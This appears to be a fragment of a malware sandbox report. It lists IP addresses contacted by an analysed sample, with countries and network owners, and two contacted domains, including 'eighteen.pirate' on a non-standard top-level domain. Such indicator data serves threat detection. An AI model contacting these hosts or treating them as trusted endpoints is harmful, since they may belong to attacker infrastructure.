 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
122.5.190.88
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
82.116.172.240
 unknown Spain
12319 IZFE-ASIZFESAInformatikaZerbitzuenForuElkarteaES false
17.5.64.23
 unknown United States
714 APPLE-ENGINEERINGUS false
57.83.141.150
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
69.136.226.150
 unknown United States
7922 COMCAST-7922US false
88.126.62.214
 unknown France
12322 PROXADFR false
217.219.63.61
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
193.220.24.32
 unknown Norway
5377 MARLINK-EMEANO false
162.49.88.99
 unknown United States
35893 ACPCA false
220.228.8.114
 unknown Taiwan; Republic of China (ROC)
9919 NCIC-TWNewCenturyInfoCommTechCoLtdTW false
87.156.0.165
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
165.246.197.82
 unknown Korea Republic of
9317 ITISNET-ASINHAUNIVERSITYKR false
22.212.221.216
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
74.115.64.229
 unknown United States
21885 AS1US false
107.4.236.253
 unknown United States
7922 COMCAST-7922US false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
eighteen.pirate 154.205.128.136 true